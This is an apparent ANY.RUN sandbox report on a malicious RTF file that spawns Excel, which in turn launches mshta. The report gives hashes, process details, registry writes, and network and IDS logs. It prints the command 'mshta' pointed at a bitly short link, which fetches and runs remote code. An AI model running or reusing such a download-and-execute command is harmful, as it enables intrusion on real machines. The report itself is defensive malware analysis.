download:

05e470_773b675a08744dbfb47b888c09158162.doc

Full analysis: https://app.any.run/tasks/d86e5a83-772b-42f9-a5f9-15d7d284bfb1
Verdict: Malicious activity
Analysis date: April 25, 2019, 13:13:14
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
ole-embedded
Indicators:
MIME: text/rtf
File info: Rich Text Format data, version 1, ANSI
MD5:

481F42248AAA3E02F00DC453A8EEAFF2

SHA1:

323A67A4F70C559D04162441E37078676EBB4E07

SHA256:

3FFD5CE69BBF8E4A1CA9291744E71FA60BC1B863E5A15268F5B42C43B79DAE83

SSDEEP:

3072:CX3/BvEzcgqX3/BvEzcg6X3/BvEzcgqX3/BvEzcguX3/BvEzcg8:o/Bvoc3/Bvocz/Bvocz/Bvoc//BvocT

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Unusual execution from Microsoft Office

      • EXCEL.EXE (PID: 3400)
      • EXCEL.EXE (PID: 3824)

    • Starts MSHTA.EXE for opening HTA or HTMLS files

      • EXCEL.EXE (PID: 3400)
      • EXCEL.EXE (PID: 3824)

    • Changes settings of System certificates

      • mshta.exe (PID: 3228)
      • mshta.exe (PID: 4056)

  • SUSPICIOUS

    • Adds / modifies Windows certificates

      • mshta.exe (PID: 3228)
      • mshta.exe (PID: 4056)

    • Creates files in the user directory

      • mshta.exe (PID: 3228)

  • INFO

    • Creates files in the user directory

      • WINWORD.EXE (PID: 2664)

    • Reads internet explorer settings

      • mshta.exe (PID: 3228)
      • mshta.exe (PID: 4056)

    • Reads Microsoft Office registry keys

      • EXCEL.EXE (PID: 3824)
      • WINWORD.EXE (PID: 2664)
      • EXCEL.EXE (PID: 3400)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.rtf | Rich Text Format (100)
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
35
Monitored processes
5
Malicious processes
4
Suspicious processes
0

Behavior graph

Click at the process to see the details
start winword.exe no specs excel.exe no specs mshta.exe excel.exe no specs mshta.exe

Process information

PID
CMD
Path
Indicators
Parent process
2664"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\05e470_773b675a08744dbfb47b888c09158162.doc.rtf"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Exit code:
0
Version:
14.0.6024.1000
Modules
Images
c:\program files\microsoft office\office14\winword.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\winsxs\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_50934f2ebcb7eb57\msvcr90.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\comctl32.dll
3228mshta http://www.bitly.com/ChutasdhikhasdAS13C:\Windows\system32\mshta.exe
EXCEL.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft (R) HTML Application host
Exit code:
0
Version:
8.00.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\mshta.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\mshtml.dll
c:\windows\system32\psapi.dll
3400"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" -EmbeddingC:\Program Files\Microsoft Office\Office14\EXCEL.EXE—svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Excel
Exit code:
0
Version:
14.0.6024.1000
Modules
Images
c:\program files\microsoft office\office14\excel.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
3824"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" -EmbeddingC:\Program Files\Microsoft Office\Office14\EXCEL.EXE—svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Excel
Exit code:
0
Version:
14.0.6024.1000
Modules
Images
c:\program files\microsoft office\office14\excel.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
4056mshta http://www.bitly.com/ChutasdhikhasdAS13C:\Windows\system32\mshta.exe
EXCEL.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft (R) HTML Application host
Exit code:
0
Version:
8.00.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\mshta.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\mshtml.dll
c:\windows\system32\psapi.dll
Total events
756
Read events
664
Write events
80
Delete events
12

Modification events

(PID) Process:(2664) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:writeName:.{:
Value:
2E7B3A00680A0000010000000000000000000000
(PID) Process:(2664) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
Off
(PID) Process:(2664) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
On
(PID) Process:(2664) WINWORD.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:writeName:WORDFiles
Value:
1318649886
(PID) Process:(2664) WINWORD.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:writeName:ProductFiles
Value:
1318650000
(PID) Process:(2664) WINWORD.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:writeName:ProductFiles
Value:
1318650001
(PID) Process:(2664) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word
Operation:writeName:MTTT
Value:
680A0000B66731AD68FBD40100000000
(PID) Process:(2664) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:writeName:'|:
Value:
277C3A00680A000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000
(PID) Process:(2664) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:delete valueName:'|:
Value:
277C3A00680A000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000
(PID) Process:(2664) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
0
Executable files
0
Suspicious files
0
Text files
4
Unknown types
3

Dropped files

PID
Process
Filename
Type
2664WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR638E.tmp.cvr —
MD5:—
SHA256:—
3400EXCEL.EXEC:\Users\admin\AppData\Local\Temp\CVR6B9D.tmp.cvr —
MD5:—
SHA256:—
3400EXCEL.EXEC:\Users\admin\AppData\Local\Temp\~DFD36C939DD030B6AB.TMP —
MD5:—
SHA256:—
3824EXCEL.EXEC:\Users\admin\AppData\Local\Temp\CVRAD68.tmp.cvr —
MD5:—
SHA256:—
2664WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\2F5C578E.wmf —
MD5:—
SHA256:—
2664WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:—
SHA256:—
2664WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\B187D781.wmfwmf
MD5:—
SHA256:—
4056mshta.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\I0488CJO\warning[1].txthtml
MD5:—
SHA256:—
3228mshta.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\H6QNMHE9\warning[1].txthtml
MD5:—
SHA256:—
3228mshta.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\H6QNMHE9\bitly_warning_hand[1].pngimage
MD5:—
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
4
TCP/UDP connections
6
DNS requests
1
Threats
3

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3228
mshta.exe
GET
302
67.199.248.14:80
http://bitly.com/ChutasdhikhasdAS13
US
html
201 b
shared
4056
mshta.exe
GET
301
67.199.248.14:80
http://www.bitly.com/ChutasdhikhasdAS13
US
html
178 b
shared
3228
mshta.exe
GET
301
67.199.248.14:80
http://www.bitly.com/ChutasdhikhasdAS13
US
html
178 b
shared
4056
mshta.exe
GET
302
67.199.248.14:80
http://bitly.com/ChutasdhikhasdAS13
US
html
201 b
shared
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3228
mshta.exe
67.199.248.14:80
www.bitly.com
Bitly Inc
US
shared
3228
mshta.exe
67.199.248.14:443
www.bitly.com
Bitly Inc
US
shared
4056
mshta.exe
67.199.248.14:80
www.bitly.com
Bitly Inc
US
shared
—
—
67.199.248.14:80
www.bitly.com
Bitly Inc
US
shared
4056
mshta.exe
67.199.248.14:443
www.bitly.com
Bitly Inc
US
shared

DNS requests

Domain
IP
Reputation
www.bitly.com
  • 67.199.248.14
  • 67.199.248.15
shared

Threats

PID
Process
Class
Message
3228
mshta.exe
Misc activity
SUSPICIOUS [PTsecurity] Cmd.Powershell.Download HTTP UserAgent (Win7)
3228
mshta.exe
Misc activity
SUSPICIOUS [PTsecurity] Cmd.Powershell.Download HTTP UserAgent (Win7)
4056
mshta.exe
Misc activity
SUSPICIOUS [PTsecurity] Cmd.Powershell.Download HTTP UserAgent (Win7)
No debug info
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Reports
05e470_773b675a08744dbfb47b888c09158162.doc